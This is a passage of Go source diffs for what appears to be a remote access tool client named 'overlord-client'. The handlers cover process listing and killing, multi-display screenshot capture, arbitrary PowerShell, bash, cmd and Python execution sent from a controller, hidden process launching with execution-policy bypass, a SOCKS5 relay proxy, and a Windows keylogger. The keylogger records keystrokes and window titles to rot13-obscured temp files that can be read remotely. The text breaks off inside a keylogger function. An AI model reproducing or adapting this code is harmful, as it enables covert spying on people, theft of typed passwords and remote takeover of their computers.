handle, _, _ := procOpenProcess.Call(
windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ,
0,
uintptr(pid),
)
if handle == 0 {
continue
}
defer windows.CloseHandle(windows.Handle(handle))
var filename [windows.MAX_PATH]uint16
ret, _, _ := procGetProcessImageFileNameW.Call(
handle,
uintptr(unsafe.Pointer(&filename[0])),
uintptr(len(filename)),
)
name := "Unknown"
if ret != 0 {
name = syscall.UTF16ToString(filename[:])
for i := len(name) - 1; i >= 0; i-- {
if name[i] == '\\' || name[i] == '/' {
name = name[i+1:]
break
}
}
}
var memCounters PROCESS_MEMORY_COUNTERS
memCounters.CB = uint32(unsafe.Sizeof(memCounters))
memory := uint64(0)
ret, _, _ = procGetProcessMemoryInfo.Call(
handle,
uintptr(unsafe.Pointer(&memCounters)),
uintptr(memCounters.CB),
)
if ret != 0 {
memory = uint64(memCounters.WorkingSetSize)
}
var pbi windows.PROCESS_BASIC_INFORMATION
ppid := int32(0)
err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil)
if err == nil {
ppid = int32(pbi.InheritedFromUniqueProcessId)
}
username := "System"
var token windows.Token
if err := windows.OpenProcessToken(windows.Handle(handle), windows.TOKEN_QUERY, &token); err == nil {
defer token.Close()
tokenUser, err := token.GetTokenUser()
if err == nil {
account, domain, _, err := tokenUser.User.Sid.LookupAccount("")
if err == nil {
if domain != "" {
username = domain + "\\" + account
} else {
username = account
}
}
}
}
procType := "other"
usernameLower := strings.ToLower(username)
nameLower := strings.ToLower(name)
if pid <= 4 || nameLower == "system" || nameLower == "registry" {
procType = "system"
} else if strings.Contains(usernameLower, "system") ||
strings.Contains(usernameLower, "local service") ||
strings.Contains(usernameLower, "network service") ||
usernameLower == "system" {
procType = "service"
} else {
currentUser, err := windows.GetCurrentProcessToken().GetTokenUser()
if err == nil {
tokenUser, err := token.GetTokenUser()
if err == nil && tokenUser.User.Sid.Equals(currentUser.User.Sid) {
procType = "own"
}
}
}
processes = append(processes, wire.ProcessInfo{
PID: pid,
PPID: ppid,
Name: name,
CPU: 0.0,
Memory: memory,
Username: username,
Type: procType,
})
}
return processes, nil
}
func killProcess(pid int32) error {
handle, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, uint32(pid))
if err != nil {
return err
}
defer windows.CloseHandle(handle)
return windows.TerminateProcess(handle, 1)
}
@@ -0,0 +1,209 @@
package handlers
import (
"bytes"
"context"
"errors"
"image"
"image/draw"
"image/jpeg"
"log"
goruntime "runtime"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"github.com/kbinani/screenshot"
)
func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error {
if allDisplays {
log.Printf("screenshot: capturing all displays")
} else {
log.Printf("screenshot: capturing primary display")
}
defer func() {
if r := recover(); r != nil {
log.Printf("screenshot: panic recovered: %v", r)
wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "screenshot capture panicked",
})
}
}()
img, displayIndex, bounds, err := captureScreenshotImage(allDisplays)
if err != nil {
log.Printf("screenshot: capture failed: %v", err)
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: err.Error(),
})
}
var buf bytes.Buffer
opts := &jpeg.Options{Quality: 85}
if err := jpeg.Encode(&buf, img, opts); err != nil {
log.Printf("screenshot: jpeg encode failed: %v", err)
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: err.Error(),
})
}
jpegData := buf.Bytes()
log.Printf("screenshot: captured %dx%d, encoded %d bytes", bounds.Dx(), bounds.Dy(), len(jpegData))
screenshotResult := wire.ScreenshotResult{
Type: "screenshot_result",
CommandID: cmdID,
Format: "jpeg",
Width: bounds.Dx(),
Height: bounds.Dy(),
Data: jpegData,
}
if err := wire.WriteMsg(ctx, env.Conn, screenshotResult); err != nil {
log.Printf("screenshot: failed to send screenshot result: %v", err)
return err
}
frame := wire.Frame{
Type: "frame",
Header: wire.FrameHeader{
Monitor: displayIndex,
FPS: 0,
Format: "jpeg",
},
Data: jpegData,
}
if err := wire.WriteMsg(ctx, env.Conn, frame); err != nil {
log.Printf("screenshot: failed to send frame: %v", err)
return err
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
})
}
func captureScreenshotImage(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
if goruntime.GOOS == "windows" {
if img, displayIndex, bounds, err := captureScreenshotImageWindows(allDisplays); err == nil && img != nil {
return img, displayIndex, bounds, nil
}
}
n := screenshot.NumActiveDisplays()
if n == 0 {
return nil, 0, image.Rectangle{}, errors.New("no active displays available")
}
displayIndex := 0
if allDisplays {
minX := int(1e9)
minY := int(1e9)
maxX := int(-1e9)
maxY := int(-1e9)
for i := 0; i < n; i++ {
b := screenshot.GetDisplayBounds(i)
if b.Min.X < minX {
minX = b.Min.X
}
if b.Min.Y < minY {
minY = b.Min.Y
}
if b.Max.X > maxX {
maxX = b.Max.X
}
if b.Max.Y > maxY {
maxY = b.Max.Y
}
}
bounds := image.Rect(minX, minY, maxX, maxY)
img, err := screenshot.CaptureRect(bounds)
return img, displayIndex, bounds, err
}
minX := int(1e9)
minY := int(1e9)
for i := 0; i < n; i++ {
b := screenshot.GetDisplayBounds(i)
if b.Min.X <= minX && b.Min.Y <= minY {
minX = b.Min.X
minY = b.Min.Y
displayIndex = i
}
}
bounds := screenshot.GetDisplayBounds(displayIndex)
img, err := screenshot.CaptureRect(bounds)
return img, displayIndex, bounds, err
}
func captureScreenshotImageWindows(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
monitorCount := capture.MonitorCount()
if monitorCount <= 0 {
return nil, 0, image.Rectangle{}, errors.New("no active displays available")
}
if !allDisplays {
img, err := capture.CaptureDisplayRGBABitBlt(0)
if err != nil || img == nil {
return nil, 0, image.Rectangle{}, err
}
return img, 0, img.Rect, nil
}
type monCapture struct {
bounds image.Rectangle
img *image.RGBA
}
parts := make([]monCapture, 0, monitorCount)
minX, minY := int(1e9), int(1e9)
maxX, maxY := int(-1e9), int(-1e9)
for i := 0; i < monitorCount; i++ {
bounds := capture.DisplayBounds(i)
img, err := capture.CaptureDisplayRGBABitBlt(i)
if err != nil || img == nil {
return nil, 0, image.Rectangle{}, err
}
parts = append(parts, monCapture{bounds: bounds, img: img})
if bounds.Min.X < minX {
minX = bounds.Min.X
}
if bounds.Min.Y < minY {
minY = bounds.Min.Y
}
if bounds.Max.X > maxX {
maxX = bounds.Max.X
}
if bounds.Max.Y > maxY {
maxY = bounds.Max.Y
}
}
virtualBounds := image.Rect(minX, minY, maxX, maxY)
canvas := image.NewRGBA(image.Rect(0, 0, virtualBounds.Dx(), virtualBounds.Dy()))
for _, part := range parts {
offX := part.bounds.Min.X - minX
offY := part.bounds.Min.Y - minY
dst := image.Rect(offX, offY, offX+part.img.Rect.Dx(), offY+part.img.Rect.Dy())
draw.Draw(canvas, dst, part.img, part.img.Rect.Min, draw.Src)
}
return canvas, 0, canvas.Rect, nil
}
@@ -0,0 +1,94 @@
package handlers
import (
"context"
"log"
"os/exec"
"runtime"
"strings"
"time"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
var cmd *exec.Cmd
switch scriptType {
case "powershell":
if runtime.GOOS == "windows" {
cmd = exec.CommandContext(ctx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
} else {
cmd = exec.CommandContext(ctx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
}
case "bash":
if runtime.GOOS == "windows" {
cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
} else {
cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
}
case "sh":
cmd = exec.CommandContext(ctx, "sh", "-c", scriptContent)
case "cmd":
if runtime.GOOS == "windows" {
cmd = exec.CommandContext(ctx, "cmd.exe", "/c", scriptContent)
} else {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "cmd.exe not available on non-Windows systems",
})
}
case "python":
cmd = exec.CommandContext(ctx, "python", "-c", scriptContent)
case "python3":
cmd = exec.CommandContext(ctx, "python3", "-c", scriptContent)
default:
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "unsupported script type: " + scriptType,
})
}
timeout := 5 * time.Minute
ctx, cancel := context.WithTimeout(ctx, timeout)
defer cancel()
output, err := cmd.CombinedOutput()
if err != nil {
if ctx.Err() == context.DeadlineExceeded {
return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
Type: "script_result",
CommandID: cmdID,
OK: false,
Output: string(output),
Error: "Script execution timed out after " + timeout.String(),
})
}
return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
Type: "script_result",
CommandID: cmdID,
OK: false,
Output: string(output),
Error: err.Error(),
})
}
log.Printf("script: execution completed successfully (%d bytes output)", len(output))
return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
Type: "script_result",
CommandID: cmdID,
OK: true,
Output: strings.TrimSpace(string(output)),
})
}
@@ -0,0 +1,73 @@
package handlers
import (
"strings"
"unicode"
)
func parseCommandArgs(input string) []string {
if strings.TrimSpace(input) == "" {
return []string{}
}
var args []string
var current []rune
inSingle := false
inDouble := false
escaped := false
for _, r := range input {
if escaped {
current = append(current, r)
escaped = false
continue
}
if r == '\\' {
escaped = true
continue
}
if inSingle {
if r == '\'' {
inSingle = false
} else {
current = append(current, r)
}
continue
}
if inDouble {
if r == '"' {
inDouble = false
} else {
current = append(current, r)
}
continue
}
switch {
case r == '\'':
inSingle = true
case r == '"':
inDouble = true
case unicode.IsSpace(r):
if len(current) > 0 {
args = append(args, string(current))
current = nil
}
default:
current = append(current, r)
}
}
if escaped {
current = append(current, '\\')
}
if len(current) > 0 {
args = append(args, string(current))
}
return args
}
@@ -0,0 +1,34 @@
//go:build !windows
// +build !windows
package handlers
import (
"os"
"os/exec"
"path/filepath"
"strings"
)
func startSilentProcess(command string, args []string, cwd string, _ bool) error {
ext := strings.ToLower(filepath.Ext(command))
var cmd *exec.Cmd
if ext == ".sh" {
cmd = exec.Command("sh", append([]string{command}, args...)...)
} else {
cmd = exec.Command(command, args...)
}
if cwd != "" {
cmd.Dir = cwd
}
nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0)
if err == nil {
cmd.Stdin = nullFile
cmd.Stdout = nullFile
cmd.Stderr = nullFile
}
return cmd.Start()
}
@@ -0,0 +1,60 @@
//go:build windows
// +build windows
package handlers
import (
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"golang.org/x/sys/windows"
)
func startSilentProcess(command string, args []string, cwd string, hideWindow bool) error {
ext := strings.ToLower(filepath.Ext(command))
var cmd *exec.Cmd
switch ext {
case ".bat", ".cmd":
cmd = exec.Command("cmd.exe", append([]string{"/c", command}, args...)...)
case ".ps1":
cmd = exec.Command("powershell.exe", append([]string{"-ExecutionPolicy", "Bypass", "-NoProfile", "-File", command}, args...)...)
default:
cmd = exec.Command(command, args...)
}
if cwd != "" {
cmd.Dir = cwd
}
if hideWindow {
attr := &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0)
if err == nil {
cmd.Stdin = nullFile
cmd.Stdout = nullFile
cmd.Stderr = nullFile
}
cmd.SysProcAttr = attr
return cmd.Start()
}
switch ext {
case ".ps1":
psArgs := append([]string{"-ExecutionPolicy", "Bypass", "-NoProfile", "-File", command}, args...)
cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", "powershell.exe"}, psArgs...)...)
case ".bat", ".cmd":
cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", "cmd.exe", "/c", command}, args...)...)
default:
cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", command}, args...)...)
}
if cwd != "" {
cmd.Dir = cwd
}
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: false}
return cmd.Start()
}
@@ -0,0 +1,255 @@
package handlers
import (
"context"
"encoding/binary"
"fmt"
"io"
"log"
"net"
"sync"
"time"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
var (
proxyListenerMu sync.Mutex
proxyListener net.Listener
proxyPort int
proxyCtx context.Context
proxyCancel context.CancelFunc
)
func HandleProxyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
proxyListenerMu.Lock()
defer proxyListenerMu.Unlock()
if proxyListener != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "Proxy already running",
})
}
requestedPort := 1080
if portVal, ok := payload["port"]; ok {
if port, ok := portVal.(int); ok && port > 0 {
requestedPort = port
}
}
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", requestedPort))
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: fmt.Sprintf("Failed to start proxy: %v", err),
})
}
proxyListener = listener
proxyPort = listener.Addr().(*net.TCPAddr).Port
proxyCtx, proxyCancel = context.WithCancel(context.Background())
log.Printf("SOCKS5 proxy started on port %d", proxyPort)
if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: fmt.Sprintf("Proxy started on port %d", proxyPort),
}); err != nil {
return err
}
go acceptProxyConnections(proxyCtx, listener)
return nil
}
func HandleProxyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
proxyListenerMu.Lock()
defer proxyListenerMu.Unlock()
if proxyListener == nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "No proxy running",
})
}
if proxyCancel != nil {
proxyCancel()
}
if err := proxyListener.Close(); err != nil {
log.Printf("Error closing proxy listener: %v", err)
}
proxyListener = nil
proxyPort = 0
log.Printf("SOCKS5 proxy stopped")
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: "Proxy stopped",
})
}
func acceptProxyConnections(ctx context.Context, listener net.Listener) {
for {
select {
case <-ctx.Done():
return
default:
}
conn, err := listener.Accept()
if err != nil {
select {
case <-ctx.Done():
return
default:
log.Printf("Proxy accept error: %v", err)
continue
}
}
go handleProxyConnection(ctx, conn)
}
}
func handleProxyConnection(ctx context.Context, conn net.Conn) {
defer conn.Close()
conn.SetDeadline(time.Now().Add(30 * time.Second))
buf := make([]byte, 2)
if _, err := io.ReadFull(conn, buf); err != nil {
log.Printf("Proxy handshake read error: %v", err)
return
}
version := buf[0]
nmethods := buf[1]
if version != 5 {
log.Printf("Unsupported SOCKS version: %d", version)
return
}
methods := make([]byte, nmethods)
if _, err := io.ReadFull(conn, methods); err != nil {
log.Printf("Proxy methods read error: %v", err)
return
}
if _, err := conn.Write([]byte{5, 0}); err != nil {
log.Printf("Proxy handshake response error: %v", err)
return
}
reqHeader := make([]byte, 4)
if _, err := io.ReadFull(conn, reqHeader); err != nil {
log.Printf("Proxy request header error: %v", err)
return
}
if reqHeader[0] != 5 {
log.Printf("Invalid request version: %d", reqHeader[0])
return
}
cmd := reqHeader[1]
if cmd != 1 {
conn.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0}) // command not supported
return
}
atyp := reqHeader[3]
var host string
var port uint16
switch atyp {
case 1: // IPv4
addr := make([]byte, 4)
if _, err := io.ReadFull(conn, addr); err != nil {
return
}
host = net.IP(addr).String()
case 3: // domain name
addrLen := make([]byte, 1)
if _, err := io.ReadFull(conn, addrLen); err != nil {
return
}
addr := make([]byte, addrLen[0])
if _, err := io.ReadFull(conn, addr); err != nil {
return
}
host = string(addr)
case 4: // IPv6
addr := make([]byte, 16)
if _, err := io.ReadFull(conn, addr); err != nil {
return
}
host = net.IP(addr).String()
default:
conn.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0}) // Address type not supported
return
}
// read port
portBytes := make([]byte, 2)
if _, err := io.ReadFull(conn, portBytes); err != nil {
return
}
port = binary.BigEndian.Uint16(portBytes)
log.Printf("SOCKS5 CONNECT to %s:%d", host, port)
// connect to target
targetAddr := fmt.Sprintf("%s:%d", host, port)
targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
if err != nil {
log.Printf("Failed to connect to %s: %v", targetAddr, err)
conn.Write([]byte{5, 5, 0, 1, 0, 0, 0, 0, 0, 0}) // Connection refused
return
}
defer targetConn.Close()
// send success response
// VER | REP | RSV | ATYP | BND.ADDR | BND.PORT
conn.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0})
// clear deadline for data transfer
conn.SetDeadline(time.Time{})
targetConn.SetDeadline(time.Time{})
// relay data bidirectionally
done := make(chan struct{}, 2)
goSafe("socks5 relay to target", nil, func() {
io.Copy(targetConn, conn)
done <- struct{}{}
})
goSafe("socks5 relay to client", nil, func() {
io.Copy(conn, targetConn)
done <- struct{}{}
})
select {
case <-done:
case <-ctx.Done():
}
}
@@ -0,0 +1,28 @@
package handlers
import (
"log"
"os"
"strconv"
"strings"
"time"
)
func streamInterval(envVar string, defFPS int) (time.Duration, int) {
fps := defFPS
raw := strings.TrimSpace(os.Getenv(envVar))
if raw != "" {
if v, err := strconv.Atoi(raw); err == nil && v > 0 {
fps = v
} else {
log.Printf("stream: invalid %s=%q, using %d", envVar, raw, defFPS)
}
}
if fps < 1 {
fps = 1
}
if fps > 120 {
fps = 120
}
return time.Second / time.Duration(fps), fps
}
@@ -0,0 +1,410 @@
package keylogger
import (
"fmt"
"log"
"os"
"path/filepath"
"strings"
"sync"
"time"
)
const (
MaxFileSize = 10 * 1024 * 1024 // 10MB
FileRetention = 7 * 24 * time.Hour // 1 week
FlushInterval = 5 * time.Second
FileNamePrefix = "ovd-"
InactivityPause = 2 * time.Second // Time before starting a new line
)
type Keylogger struct {
mu sync.Mutex
running bool
stopCh chan struct{}
buffer strings.Builder
currentFile *os.File
currentDate string
currentName string
logDir string
lastKeyTime time.Time
lineStarted bool
currentWindowTitle string
}
func New() *Keylogger {
return &Keylogger{
stopCh: make(chan struct{}),
logDir: getTempDir(),
}
}
func (k *Keylogger) Start() error {
k.mu.Lock()
if k.running {
k.mu.Unlock()
return fmt.Errorf("keylogger already running")
}
k.running = true
k.mu.Unlock()
log.Printf("[keylogger] Starting keylogger, logs in: %s", k.logDir)
go k.cleanupOldLogs()
go k.captureLoop()
go k.flushLoop()
return nil
}
func (k *Keylogger) Stop() {
k.mu.Lock()
defer k.mu.Unlock()
if !k.running {
return
}
k.running = false
close(k.stopCh)
if k.currentFile != nil {
if k.lineStarted && k.buffer.Len() > 0 {
k.buffer.WriteString("\n")
}
k.flushBuffer()
k.currentFile.Close()
k.currentFile = nil
}
log.Printf("[keylogger] Stopped")
}
func (k *Keylogger) ListFiles() ([]FileInfo, error) {
entries, err := os.ReadDir(k.logDir)
if err != nil {
return nil, err
}
var files []FileInfo
for _, entry := range entries {
if entry.IsDir() {
continue
}
name := entry.Name()
if !strings.HasPrefix(name, FileNamePrefix) {
continue
}
info, err := entry.Info()
if err != nil {
continue
}
files = append(files, FileInfo{
Name: name,
Size: info.Size(),
Date: info.ModTime(),
})
}
return files, nil
}
func (k *Keylogger) ReadFile(filename string) ([]byte, error) {
if strings.Contains(filename, "..") || strings.Contains(filename, string(filepath.Separator)) {
return nil, fmt.Errorf("invalid filename")
}
if !strings.HasPrefix(filename, FileNamePrefix) {
return nil, fmt.Errorf("invalid filename prefix")
}
path := filepath.Join(k.logDir, filename)
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
return data, nil
}
func (k *Keylogger) ClearAll() error {
k.mu.Lock()
defer k.mu.Unlock()
if k.currentFile != nil {
k.currentFile.Close()
k.currentFile = nil
k.currentDate = ""
k.currentName = ""
k.buffer.Reset()
k.lineStarted = false
}
entries, err := os.ReadDir(k.logDir)
if err != nil {
return err
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
name := entry.Name()
if !strings.HasPrefix(name, FileNamePrefix) {
continue
}
path := filepath.Join(k.logDir, name)
if err := os.Remove(path); err != nil {
log.Printf("[keylogger] Failed to remove %s: %v", name, err)
}
}
log.Printf("[keylogger] Cleared all log files")
return nil
}
func (k *Keylogger) DeleteFile(filename string) error {
if strings.Contains(filename, "..") || strings.Contains(filename, string(filepath.Separator)) {
return fmt.Errorf("invalid filename")
}
if !strings.HasPrefix(filename, FileNamePrefix) {
return fmt.Errorf("invalid filename prefix")
}
k.mu.Lock()
defer k.mu.Unlock()
if k.currentFile != nil && filename == k.currentName {
k.currentFile.Close()
k.currentFile = nil
k.currentDate = ""
k.currentName = ""
k.buffer.Reset()
k.lineStarted = false
}
path := filepath.Join(k.logDir, filename)
if err := os.Remove(path); err != nil {
return err
}
log.Printf("[keylogger] Deleted log file: %s", filename)
return nil
}
func (k *Keylogger) FlushNow() {
k.mu.Lock()
defer k.mu.Unlock()
if k.buffer.Len() > 0 {
k.flushBuffer()
}
}
func (k *Keylogger) captureLoop() {
for {
select {
case <-k.stopCh:
return
default:
if err := k.captureKeystrokes(); err != nil {
log.Printf("[keylogger] Capture error: %v", err)
time.Sleep(time.Second)
}
}
}
}
func (k *Keylogger) flushLoop() {
ticker := time.NewTicker(FlushInterval)
defer ticker.Stop()
for {
select {
case <-k.stopCh:
return
case <-ticker.C:
k.mu.Lock()
if k.buffer.Len() > 0 {
if k.lineStarted && !k.lastKeyTime.IsZero() && time.Since(k.lastKeyTime) > InactivityPause {
k.buffer.WriteString("\n")
k.lineStarted = false
}
k.flushBuffer()
}
k.mu.Unlock()
}
}
}
func (k *Keylogger) flushBuffer() {
if k.buffer.Len() == 0 {
return
}
today := time.Now().Format("2006-01-02")
if k.currentDate != today || k.currentFile == nil {
k.rotateFile(today)
}
if k.currentFile != nil {
info, err := k.currentFile.Stat()
if err == nil && info.Size() >= MaxFileSize {
k.rotateFile(today)
}
}
if k.currentFile == nil {
return
}
encrypted := rot13(k.buffer.String())
if _, err := k.currentFile.WriteString(encrypted); err != nil {
log.Printf("[keylogger] Write error: %v", err)
}
k.buffer.Reset()
}
func (k *Keylogger) rotateFile(date string) {
if k.currentFile != nil {
k.currentFile.Close()
}
timestamp := time.Now().Unix()
filename := fmt.Sprintf("%s%s-%d.log", FileNamePrefix, date, timestamp)
path := filepath.Join(k.logDir, filename)
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
if err != nil {
log.Printf("[keylogger] Failed to open log file: %v", err)
k.currentFile = nil
k.currentDate = ""
return
}
k.currentFile = file
k.currentDate = date
k.currentName = filename
log.Printf("[keylogger] Rotated to new file: %s", filename)
}
func (k *Keylogger) cleanupOldLogs() {
cutoff := time.Now().Add(-FileRetention)
entries, err := os.ReadDir(k.logDir)
if err != nil {
log.Printf("[keylogger] Failed to read log dir for cleanup: %v", err)
return
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
name := entry.Name()
if !strings.HasPrefix(name, FileNamePrefix) {
continue
}
info, err := entry.Info()
if err != nil {
continue
}
if info.ModTime().Before(cutoff) {
path := filepath.Join(k.logDir, name)
if err := os.Remove(path); err != nil {
log.Printf("[keylogger] Failed to remove old log %s: %v", name, err)
} else {
log.Printf("[keylogger] Removed old log: %s", name)
}
}
}
}
func (k *Keylogger) logKey(key string) {
k.mu.Lock()
defer k.mu.Unlock()
now := time.Now()
needsNewLine := false
if !k.lastKeyTime.IsZero() && now.Sub(k.lastKeyTime) > InactivityPause {
needsNewLine = true
}
if key == "[ENTER]" {
if k.lineStarted {
k.buffer.WriteString("\n")
}
k.lineStarted = false
k.lastKeyTime = now
if k.buffer.Len() > 4096 {
k.flushBuffer()
}
return
}
windowTitle := k.getWindowTitle()
windowChanged := windowTitle != k.currentWindowTitle && windowTitle != ""
if (needsNewLine || windowChanged) && k.lineStarted {
k.buffer.WriteString("\n")
k.lineStarted = false
}
if !k.lineStarted {
timestamp := now.Format("2006-01-02 15:04:05")
if windowChanged {
k.currentWindowTitle = windowTitle
}
if k.currentWindowTitle != "" {
k.buffer.WriteString(fmt.Sprintf("[%s] [%s] ", timestamp, k.currentWindowTitle))
} else {
k.buffer.WriteString(fmt.Sprintf("[%s] ", timestamp))
}
k.lineStarted = true
}
k.buffer.WriteString(key)
k.lastKeyTime = now
if k.buffer.Len() > 4096 {
k.flushBuffer()
}
}
func rot13(s string) string {
var result strings.Builder
for _, r := range s {
switch {
case r >= 'a' && r <= 'z':
result.WriteRune('a' + (r-'a'+13)%26)
case r >= 'A' && r <= 'Z':
result.WriteRune('A' + (r-'A'+13)%26)
default:
result.WriteRune(r)
}
}
return result.String()
}
func getTempDir() string {
return os.TempDir()
}
func (k *Keylogger) getWindowTitle() string {
return getWindowTitle()
}
type FileInfo struct {
Name string
Size int64
Date time.Time
}
@@ -0,0 +1,31 @@
// go:build darwin
//go:build darwin
// +build darwin
package keylogger
import (
"fmt"
"log"
"time"
)
func (k *Keylogger) captureKeystrokes() error {
log.Printf("[keylogger] macOS keylogging not fully implemented - placeholder mode")
ticker := time.NewTicker(30 * time.Second)
defer ticker.Stop()
for {
select {
case <-k.stopCh:
return nil
case <-ticker.C:
k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
}
}
}
func getWindowTitle() string {
return ""
}
@@ -0,0 +1,31 @@
// go:build linux
//go:build linux
// +build linux
package keylogger
import (
"fmt"
"log"
"time"
)
func (k *Keylogger) captureKeystrokes() error {
log.Printf("[keylogger] Linux keylogging not fully implemented - placeholder mode")
ticker := time.NewTicker(30 * time.Second)
defer ticker.Stop()
for {
select {
case <-k.stopCh:
return nil
case <-ticker.C:
k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
}
}
}
func getWindowTitle() string {
return ""
}
@@ -0,0 +1,272 @@
// go:build windows
//go:build windows
// +build windows
package keylogger
import (
"fmt"
"log"
"strings"
"syscall"
"time"
"unsafe"
)
var (
user32 = syscall.NewLazyDLL("user32.dll")
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
procGetKeyboardState = user32.NewProc("GetKeyboardState")
procToUnicode = user32.NewProc("ToUnicode")
procMapVirtualKey = user32.NewProc("MapVirtualKeyW")
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
procGetWindowTextW = user32.NewProc("GetWindowTextW")
)
const (
VK_SHIFT = 0x10
VK_CONTROL = 0x11
VK_MENU = 0x12 // ALT
VK_CAPITAL = 0x14 // CAPS LOCK
)
var keyNames = map[int]string{
0x08: "[BACKSPACE]",
0x09: "[TAB]",
0x0D: "[ENTER]",
0x1B: "[ESC]",
0x20: " ",
0x21: "[PAGE UP]",
0x22: "[PAGE DOWN]",
0x23: "[END]",
0x24: "[HOME]",
0x25: "[LEFT]",
0x26: "[UP]",
0x27: "[RIGHT]",
0x28: "[DOWN]",
0x2C: "[PRINT SCREEN]",
0x2D: "[INSERT]",
0x2E: "[DELETE]",
0x5B: "[LEFT WIN]",
0x5C: "[RIGHT WIN]",
0x5D: "[MENU]",
VK_SHIFT: "[SHIFT]",
VK_CONTROL: "[CTRL]",
VK_MENU: "[ALT]",
}
func (k *Keylogger) captureKeystrokes() error {
keyState := make(map[int]bool)
for {
select {
case <-k.stopCh:
return nil
default:
time.Sleep(10 * time.Millisecond)
// Check all printable keys and special keys
for vk := 8; vk <= 190; vk++ {
ret, _, _ := procGetAsyncKeyState.Call(uintptr(vk))
keyDown := (ret & 0x8000) != 0
if keyDown && !keyState[vk] {
keyState[vk] = true
key := getKeyString(vk)
if key != "" {
k.logKey(key)
}
} else if !keyDown {
keyState[vk] = false
}
}
}
}
}
func getKeyString(vk int) string {
if name, ok := keyNames[vk]; ok {
if vk == VK_SHIFT || vk == VK_CONTROL || vk == VK_MENU {
return ""
}
return name
}
var kbState [256]byte
ret, _, err := procGetKeyboardState.Call(uintptr(unsafe.Pointer(&kbState[0])))
if ret == 0 {
log.Printf("[keylogger] GetKeyboardState failed: %v", err)
return ""
}
shiftDown := (getAsyncKeyState(VK_SHIFT) & 0x8000) != 0
ctrlDown := (getAsyncKeyState(VK_CONTROL) & 0x8000) != 0
altDown := (getAsyncKeyState(VK_MENU) & 0x8000) != 0
if shiftDown {
kbState[VK_SHIFT] |= 0x80
} else {
kbState[VK_SHIFT] &^= 0x80
}
if ctrlDown {
kbState[VK_CONTROL] |= 0x80
} else {
kbState[VK_CONTROL] &^= 0x80
}
if altDown {
kbState[VK_MENU] |= 0x80
} else {
kbState[VK_MENU] &^= 0x80
}
if ctrlDown || altDown {
base := keyNameForCombo(vk)
if base != "" {
return formatCombo(ctrlDown, altDown, shiftDown, base)
}
}
var buffer [5]uint16
sc, _, _ := procMapVirtualKey.Call(uintptr(vk), 0)
n, _, _ := procToUnicode.Call(
uintptr(vk),
sc,
uintptr(unsafe.Pointer(&kbState[0])),
uintptr(unsafe.Pointer(&buffer[0])),
uintptr(len(buffer)),
0,
)
if n > 0 {
return syscall.UTF16ToString(buffer[:n])
}
if s := oemKeyFallback(vk, shiftDown); s != "" {
return s
}
